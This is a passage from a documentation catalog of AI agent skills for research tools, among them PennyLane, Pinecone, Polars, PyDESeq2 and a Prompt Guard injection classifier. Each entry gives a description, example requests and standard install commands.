[`implementing-llms-litgpt`](/research-agent-skills/skills/implementing-llms-litgpt) * [`ml-training-recipes`](/research-agent-skills/skills/ml-training-recipes) * [`stable-diffusion-image-generation`](/research-agent-skills/skills/stable-diffusion-image-generation) * [`unsloth`](/research-agent-skills/skills/unsloth) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/peft-fine-tuning/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pennylane — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pennylane Hardware-agnostic quantum ML framework with automatic differentiation. # `pennylane` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** Apache-2.0 license · **Version:** 1.2 **Tags:** quantum machine learning, quantum computing, variational algorithms, physics ## When to use it Hardware-agnostic quantum ML framework with automatic differentiation. Use when training quantum circuits via gradients, building hybrid quantum-classical models, or needing device portability across IBM/Google/Rigetti/IonQ. Best for variational algorithms (VQE, QAOA), quantum neural networks, and integration with PyTorch or JAX. For hardware-specific optimizations use qiskit (IBM) or cirq (Google); for open quantum systems use qutip. ## Example requests Ask your agent in plain language, for example: * *"How do I get gradients of a quantum circuit's expectation value w\.r.t. its parameters and train it with Adam?"* * *"I have a 4-qubit angle-embedding classifier in qml.qnode with a torch.nn.Linear head, for iris\_features.csv (4 features, 3 classes). Training with the torch interface gives 'RuntimeError: element 0 of tensors does not require grad' and the loss stays flat. Can you fix it so it trains end to end and then run it on a hardware-style device?"* * *"I want to find the ground-state energy of an H2 molecule at several bond lengths with a variational quantum approach, and I'd like the same code to run on different vendors' backends by changing one line. Can you set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pennylane # GitHub CLI gh skill install KalarisLabs/research-agent-skills pennylane ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pennylane/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # phoenix-observability — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/phoenix-observability Open-source AI observability platform for LLM tracing, evaluation, and monitoring. # `phoenix-observability` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Observability, Phoenix, Arize, Tracing, Evaluation, Monitoring, LLM Ops, OpenTelemetry ## When to use it Open-source AI observability platform for LLM tracing, evaluation, and monitoring. Use when debugging LLM applications with detailed traces, running evaluations on datasets, or monitoring production AI systems with real-time insights. ## Example requests Ask your agent in plain language, for example: * *"How do I get Phoenix tracing running locally for my OpenAI calls?"* * *"I'm running a RAG pipeline in LlamaIndex over our lab's protocol PDFs. The answers are sometimes wrong and I can't tell if retrieval or generation is at fault. I set up Phoenix at localhost:6006 but my project shows no traces, only an empty 'default' project. How do I fix that and then use the traces to find the failing step?"* * *"I have 200 question-answer pairs from our clinical-trial summarization model and want to systematically score hallucination and relevance with an LLM judge, compare two prompt versions, and keep the test set versioned so I can rerun it in CI. Self-hosted only, no SaaS. What setup do you recommend?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill phoenix-observability # GitHub CLI gh skill install KalarisLabs/research-agent-skills phoenix-observability ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`evaluating-cosmos-policy`](/research-agent-skills/skills/evaluating-cosmos-policy) * [`langsmith-observability`](/research-agent-skills/skills/langsmith-observability) * [`speculative-decoding`](/research-agent-skills/skills/speculative-decoding) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/phoenix-observability/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pi-agent — AI agent skill for research automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/pi-agent Build with and use Pi, the minimal terminal coding harness. # `pi-agent` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.4 **Tags:** coding agents, terminal agents, AI agents, developer tools ## When to use it Build with and use Pi, the minimal terminal coding harness. Use for installing Pi, configuring providers/models/settings/environment variables, creating Pi skills/extensions/packages/themes/prompt templates, embedding Pi through the SDK, integrating over RPC or JSON event streams, parsing sessions, running local models through the llama.cpp router, developing custom Pi providers and TUI components, or using ecosystem packages such as pi-subagents (delegation/orchestration), pi-mcp-adapter (MCP servers), pi-interview (interactive forms), and pi-web-access (web search, fetching, video understanding). ## Example requests Ask your agent in plain language, for example: * *"How do I install Pi and hook it up to my Anthropic key?"* * *"I'm writing a Python harness that drives the Pi coding agent for a benchmark over 200 repos. I tried parsing its stdout with line-by-line splitting in a Node script and sometimes get broken JSON on messages with unusual unicode characters. Which integration mode should I use, and how do I run it so each task is stateless? Please also tell me how to read events correctly."* * *"I want my terminal AI coding assistant to be able to call out to several of my lab's existing tool servers over the Model Context Protocol, and also hand off sub-tasks to helper agents running in parallel. Can I do both without writing my own plumbing?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pi-agent # GitHub CLI gh skill install KalarisLabs/research-agent-skills pi-agent ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`qiskit`](/research-agent-skills/skills/qiskit) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pi-agent/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pinecone — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/pinecone Guides use of Pinecone, a managed serverless vector database, through its Python client and the LangChain and LlamaIndex integrations. # `pinecone` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0.0 **Tags:** RAG, Pinecone, Vector Database, Managed Service, Serverless, Hybrid Search, Production, Auto-Scaling, Low Latency, Recommendations ## When to use it Guides use of Pinecone, a managed serverless vector database, through its Python client and the LangChain and LlamaIndex integrations. Covers creating indexes, upserting and querying vectors, metadata filtering, namespaces, hybrid dense and sparse search, index management, and deleting vectors. Use when building a production RAG system on a hosted vector store, adding semantic search or recommendations without running infrastructure, isolating per-user or per-tenant data with namespaces, combining dense and sparse vectors in one query, or filtering results by metadata. Do not use for self-hosted or local stores (Chroma, Weaviate) or offline similarity search (FAISS). ## Example requests Ask your agent in plain language, for example: * *"How do I upsert embeddings into a Pinecone index?"* * *"I have 40k chunked abstracts from our lab's PubMed pull in abstracts.jsonl, embedded with text-embedding-3-small (1536 dims). I need to load them into Pinecone so each postdoc gets their own isolated space, and then query only records where year >= 2020 and journal == 'Cell'. Getting 'Vector dimension 768 does not match the dimension of the index 1536' on upsert. Can you fix and set it up?"* * *"We're building a literature search tool for our group and want it hosted so we don't run any servers. Queries mix exact gene names like 'BRCA2 c.5946delT' with fuzzy conceptual phrasing, and keyword-only or embedding-only search each miss things. What's the best way to combine both in a single query against a managed vector store?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pinecone # GitHub CLI gh skill install KalarisLabs/research-agent-skills pinecone ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pinecone/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pkpd-modeling — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/pkpd-modeling Pharmacokinetic and pharmacodynamic modelling and simulation - non-compartmental analysis, compartmental and population PK, PK/PD and exposure-response, TMDD… # `pkpd-modeling` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** pharmacokinetics, pharmacodynamics, PK/PD, drug development, pharmacology ## When to use it Pharmacokinetic and pharmacodynamic modelling and simulation - non-compartmental analysis, compartmental and population PK, PK/PD and exposure-response, TMDD, PBPK orientation, bioequivalence, allometric scaling and first-in-human dose, drug interaction prediction, and Bayesian therapeutic drug monitoring. Use when analysing concentration-time data, deriving exposure metrics, fitting PK or PD models, or evaluating dosing regimens. Triggers include "pharmacokinetics", "pharmacodynamics", "PK/PD", "NCA", "non-compartmental", "AUC", "Cmax", "lambda z", "half-life", "clearance", "volume of distribution", "compartmental model", "population PK", "popPK", "NONMEM", "nlmixr2", "Pharmpy", "Monolix", "exposure-response", "Emax", "EC50", "indirect response", "effect compartment", "TMDD", "PBPK", "bioequivalence", "RSABE", "ABEL", "allometric scaling", "first-in-human", "MABEL", "drug-drug interaction", "DDI", "ICH M12", "concentration-QTc", "therapeutic drug monitoring", "MIPD", and "dosing regimen". ## Example requests Ask your agent in plain language, for example: * *"How do I get the half-life and AUC from my plasma concentration data after an oral dose?"* * *"I've got a NONMEM-style CSV, study101\_pk.csv, with columns ID, TIME, AMT, ADDL, II, DV, EVID, WT. Some DV cells say 'BLQ' and a few WT cells are blank. Before I run my two-compartment model, what should I check, and will NONMEM choke on this?"* * *"We're planning a twice-daily regimen for a new antibiotic with high between-patient variability in clearance. I want to know what share of patients would keep their trough above the target concentration, not just what the average patient does."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pkpd-modeling # GitHub CLI gh skill install KalarisLabs/research-agent-skills pkpd-modeling ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pkpd-modeling/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # plos — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/plos Prepare manuscripts for PLOS journals (PLOS ONE, PLOS Biology, PLOS Computational Biology, PLOS Genetics, PLOS Medicine, PLOS Pathogens, PLOS Neglected… # `plos` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** PLOS, PLOS ONE, open access, data availability, Vancouver, journal formatting ## When to use it Prepare manuscripts for PLOS journals (PLOS ONE, PLOS Biology, PLOS Computational Biology, PLOS Genetics, PLOS Medicine, PLOS Pathogens, PLOS Neglected Tropical Diseases, PLOS Global Public Health and others), covering structure, abstract and author summary, Vancouver-style references, the mandatory data availability policy, ethics and financial disclosure statements, figure requirements (PACE), the PLOS LaTeX template, reporting guidelines and PLOS ONE's publication criteria. Use when targeting any PLOS journal or checking compliance with PLOS policies. ## Example requests Ask your agent in plain language, for example: * *"What do I need for the PLOS ONE data availability statement and ethics statement?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill plos # GitHub CLI gh skill install KalarisLabs/research-agent-skills plos ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/plos/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # polars — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/polars High-performance DataFrame library for Python ETL, analytics, and pandas migration. # `polars` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** [https://github.com/pola-rs/polars/blob/main/LICENSE](https://github.com/pola-rs/polars/blob/main/LICENSE) · **Version:** 1.2 **Tags:** DataFrames, data engineering, ETL, data analysis, Python ## When to use it High-performance DataFrame library for Python ETL, analytics, and pandas migration. Use for expression-based data manipulation with lazy query optimization, parallel execution, streaming out-of-core processing, Arrow interoperability, and optional GPU execution. ## Example requests Ask your agent in plain language, for example: * *"my pandas groupby is painfully slow, how do I convert it to polars?"* * *"I have 40 GB of Parquet files in data/trips/*.parquet (columns: trip\_id, vendor, pickup\_ts, fare, distance\_km). I need average fare per km by vendor and by hour of day, and the script keeps getting killed with a MemoryError when I use pd.read\_parquet. Can you rewrite it?"\* * *"I've got sensor logs from several lab instruments in separate CSVs. I want to join them on timestamp, compute a rolling 5-minute mean per instrument without a Python loop, and write one compact columnar file I can reload quickly later. What's a fast, clean way to do this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill polars # GitHub CLI gh skill install KalarisLabs/research-agent-skills polars ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`ray-data`](/research-agent-skills/skills/ray-data) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/polars/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # polars-bio — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/polars-bio Python library polars-bio for genomic interval operations and bioinformatics file I/O on Polars DataFrames, built on Arrow and DataFusion. # `polars-bio` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** Apache-2.0 · **Version:** 1.1 **Tags:** genomic intervals, bioinformatics, Polars, genomics file formats ## When to use it Python library polars-bio for genomic interval operations and bioinformatics file I/O on Polars DataFrames, built on Arrow and DataFusion. Covers overlap, nearest, merge, cluster, coverage, complement, subtract, count\_overlaps, per-base pileup depth, and read/scan/write of BED, VCF, BAM, CRAM, SAM, GFF/GTF, FASTA, FASTQ, plus SQL queries over those files. Use when intersecting or merging genomic intervals in Polars. Use when reading or streaming large BED, VCF, or BAM files, including from S3, GCS, or Azure. Use when computing read depth from BAM or CRAM. Use when running SQL on genomic files. Use when migrating bioframe code to a faster alternative. Not for pandas-only workflows that do not use Polars or DataFusion. ## Example requests Ask your agent in plain language, for example: * *"How do I find which of my peaks fall inside gene bodies using polars? I have two Polars DataFrames of intervals."* * *"I have a 40 GB sample.bam with a sample.bam.bai next to it on S3 (s3://lab-data/run7/sample.bam). I need per-base depth for chr20 without loading everything into RAM, and I'd like to filter it with SQL afterwards. Last time my script was killed by the OOM killer."* * *"My bioframe pipeline for merging ATAC-seq peaks across 200 samples and then clustering them is too slow. What's a faster drop-in way to do this on a big table?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill polars-bio # GitHub CLI gh skill install KalarisLabs/research-agent-skills polars-bio ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) * [`gtars`](/research-agent-skills/skills/gtars) * [`pysam`](/research-agent-skills/skills/pysam) * [`tiledbvcf`](/research-agent-skills/skills/tiledbvcf) * [`vaex`](/research-agent-skills/skills/vaex) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/polars-bio/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pptx-posters — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/pptx-posters Create and audit editable scientific posters in macro-free PowerPoint (.pptx) from author-approved local content and assets. # `pptx-posters` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** research posters, PowerPoint, conference posters, academic presentations ## When to use it Create and audit editable scientific posters in macro-free PowerPoint (.pptx) from author-approved local content and assets. Use when the requested deliverable is a PowerPoint research/conference poster and exact physical, printer, accessibility, provenance, and package-security checks are required. ## Example requests Ask your agent in plain language, for example: * *"I need an editable .pptx conference poster built from my approved content. Can you make it?"* * *"My poster for the ISMB meeting is in \~/poster/ with manifest.json, fig1.png, fig2.png and a QR code PNG. The printer wants 36x48 in with 0.125 in bleed. Generate the .pptx and check that it's safe, with no macros. I've already signed off on the text."* * *"I've got a one-page research poster to hand in for a symposium, and the organisers asked for a PowerPoint file their staff can still edit. Everything has been checked by my co-authors and the images are on my disk. How do I get it ready for the printer without anything unsafe in the file?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pptx-posters # GitHub CLI gh skill install KalarisLabs/research-agent-skills pptx-posters ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`latex-posters`](/research-agent-skills/skills/latex-posters) * [`presenting-conference-talks`](/research-agent-skills/skills/presenting-conference-talks) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pptx-posters/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # presenting-conference-talks — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/presenting-conference-talks Generates conference presentation slides (Beamer LaTeX PDF and editable PPTX) from a compiled paper with speaker notes and talk script. # `presenting-conference-talks` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.0.0 **Tags:** Presenting Conference Talks, Beamer, PPTX, Slides, Speaker Notes, OSDI, SOSP, ASPLOS, NeurIPS, ICML ## When to use it Generates conference presentation slides (Beamer LaTeX PDF and editable PPTX) from a compiled paper with speaker notes and talk script. Use when preparing oral talks, spotlight presentations, or invited talks for ML and systems conferences. ## Example requests Ask your agent in plain language, for example: * *"Make me a spotlight talk from my paper. I have 6 minutes at ICML."* * *"My OSDI paper is compiled at build/paper.pdf with figures in figures/. I need a 20-minute oral talk with a live demo of our storage system, plus a script I can rehearse. Can you build the Beamer slides and a PPTX copy?"* * *"I got accepted for a talk at NSDI next month and I only have the camera-ready PDF. I'd like something I can present from and also tweak on the plane, with notes for each slide so I don't ramble past my time slot."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill presenting-conference-talks # GitHub CLI gh skill install KalarisLabs/research-agent-skills presenting-conference-talks ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`latex-posters`](/research-agent-skills/skills/latex-posters) * [`pptx-posters`](/research-agent-skills/skills/pptx-posters) * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/presenting-conference-talks/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # prompt-guard — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/prompt-guard Classifies text with Meta's Prompt Guard, an 86M-parameter model loaded from HuggingFace, into BENIGN, INJECTION or JAILBREAK labels to detect prompt… # `prompt-guard` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Safety Alignment, Prompt Injection, Jailbreak Detection, Meta, Input Validation, Security, Content Filtering, Multilingual ## When to use it Classifies text with Meta's Prompt Guard, an 86M-parameter model loaded from HuggingFace, into BENIGN, INJECTION or JAILBREAK labels to detect prompt injections and jailbreak attempts in LLM applications. Covers user input filtering, third-party data and RAG document filtering, batch processing, threshold tuning, and sliding-window handling of texts over 512 tokens. Use when screening user prompts for jailbreaks before they reach an LLM. Use when filtering API responses or retrieved RAG documents for embedded instructions. Use when batch-scanning documents for injection. Use when tuning detection thresholds or false positives on security-related queries. Use when running a lightweight CPU or GPU classifier for 8 languages. Not for content moderation such as violence or hate; use LlamaGuard for that. ## Example requests Ask your agent in plain language, for example: * *"Can you scan this folder of scraped web pages for hidden instructions before I feed them into my summarizer?"* * *"I'm loading meta-llama/Prompt-Guard-86M with AutoModelForSequenceClassification on my laptop with no GPU. My security-research chatbot keeps flagging questions like 'how does SQL injection work?' as INJECTION, while 40% of my 6k-token retrieved PDFs seem to pass without any flags. How do I fix both?"* * *"We're building a literature-search assistant that pulls abstracts and web snippets from external APIs into an LLM's context. I'm worried some of those snippets might contain text that tries to hijack the model's behavior. I want a small, cheap classifier that runs locally and can handle the French and Hindi content too. What should I set up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill prompt-guard # GitHub CLI gh skill install KalarisLabs/research-agent-skills prompt-guard ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`llamaguard`](/research-agent-skills/skills/llamaguard) * [`nemo-guardrails`](/research-agent-skills/skills/nemo-guardrails) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/prompt-guard/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # protocolsio-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/protocolsio-integration Reads, validates, and exports protocols.io data using the documented REST v3/v4 endpoints and the official MCP endpoint, and builds non-executing mutation… # `protocolsio-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** protocols.io, lab protocols, reproducibility, methods ## When to use it Reads, validates, and exports protocols.io data using the documented REST v3/v4 endpoints and the official MCP endpoint, and builds non-executing mutation plans. The bundled client makes bounded GET requests to official hosts only with --execute, and also validates saved protocol JSON offline for step order, version, DOI, and attribution metadata. Use when fetching a protocol, its steps, materials, or PDF from protocols.io by exact version. Use when validating a saved protocol snapshot for provenance before reuse. Use when planning a protocol create, update, publish, upload, or organization export without running it. Use when checking protocols.io rate limits, pagination, or authentication. Do not use for other protocol repositories or general literature search. ## Example requests Ask your agent in plain language, for example: * *"Pull protocol 12345 from protocols.io, version 3, and give me the steps."* * *"I saved a protocol export as snapshots/rna\_extraction\_v2.json from our lab's protocols.io page and want to reuse it in a methods section. Before I do, can you check that the step order is intact and the DOI, version and authors are all there? It's offline, don't hit the network."* * *"We finished optimizing our cell-lysis method and I'd like it to go live with a citable identifier on the site we host it on. Can you just do that for me with my token?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill protocolsio-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills protocolsio-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`cell-press`](/research-agent-skills/skills/cell-press) * [`database-lookup`](/research-agent-skills/skills/database-lookup) * [`opentrons-integration`](/research-agent-skills/skills/opentrons-integration) * [`pymatgen`](/research-agent-skills/skills/pymatgen) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/protocolsio-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pufferlib — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/pufferlib Version-aware guidance for PufferLib reinforcement-learning environments, vectorization, policies, PuffeRL training, evaluation, and safe checkpoint review. # `pufferlib` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** reinforcement learning, RL environments, training, machine learning ## When to use it Version-aware guidance for PufferLib reinforcement-learning environments, vectorization, policies, PuffeRL training, evaluation, and safe checkpoint review. Use when adapting Gymnasium/PettingZoo environments to published PufferLib 3.0.0 or working with the redesigned native 4.0 source line. ## Example requests Ask your agent in plain language, for example: * *"How do I wrap my PettingZoo parallel env for PufferLib without breaking anything?"* * *"I ran `pip install pufferlib` and copied the 4.0 README's `puffer train` config into my script, but now `from pufferlib import vector` works while the config keys I copied are rejected. My env is a Gymnasium CartPole variant in my\_env.py. What's going on and how do I get it training?"* * *"A collaborator sent me a trained policy file, model\_final.pt, for our multi-agent sim. I want to evaluate it on held-out seeds and log results to Weights & Biases. How should I proceed safely?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pufferlib # GitHub CLI gh skill install KalarisLabs/research-agent-skills pufferlib ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`evaluating-cosmos-policy`](/research-agent-skills/skills/evaluating-cosmos-policy) * [`fine-tuning-serving-openpi`](/research-agent-skills/skills/fine-tuning-serving-openpi) * [`stable-baselines3`](/research-agent-skills/skills/stable-baselines3) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pufferlib/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pydeseq2 — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pydeseq2 Runs differential expression analysis on bulk RNA-seq count data with PyDESeq2, the Python port of DESeq2. # `pydeseq2` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.4 · **Includes scripts** **Tags:** differential expression, RNA-seq, DESeq2, transcriptomics, bioinformatics ## When to use it Runs differential expression analysis on bulk RNA-seq count data with PyDESeq2, the Python port of DESeq2. Covers formulaic single- and multi-factor designs, contrasts, Wald tests, Benjamini-Hochberg FDR correction, optional apeGLM LFC shrinkage, pandas and AnnData (H5AD) integration, CSV export, volcano and MA plots, and a command-line script. Use when comparing gene expression between conditions such as treated vs control, adjusting for batch or covariates, porting an R DESeq2 workflow to Python, or building a Python pipeline for differential expression from raw integer counts. Not for single-cell data or for R-based DESeq2 itself. ## Example requests Ask your agent in plain language, for example: * *"How do I run DESeq2 in Python on my counts table?"* * *"I have counts.csv (60k genes x 12 samples, STAR/featureCounts output, mouse liver) and meta.csv with columns condition (ctrl/KO) and batch (b1/b2/b3). I get 'Index mismatch between counts and metadata' when I build the dataset. Please fix it and give me KO vs ctrl results adjusted for batch, with a volcano plot."* * *"We sequenced 8 tumor and 8 normal biopsies and have a gene-level raw count matrix. I want a ranked list of genes that differ between tumor and normal, with fold changes that are shrunk so the noisy low-count genes don't dominate the ranking, and a table I can send to a collaborator."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pydeseq2 # GitHub CLI gh skill install KalarisLabs/research-agent-skills pydeseq2 ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pydeseq2/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pydicom — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/pydicom Reads, inspects, writes, and transforms local DICOM files with pydicom 3.x (dcmread, dcmwrite, pydicom.pixels), including metadata, transfer syntaxes… # `pydicom` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 1.2 · 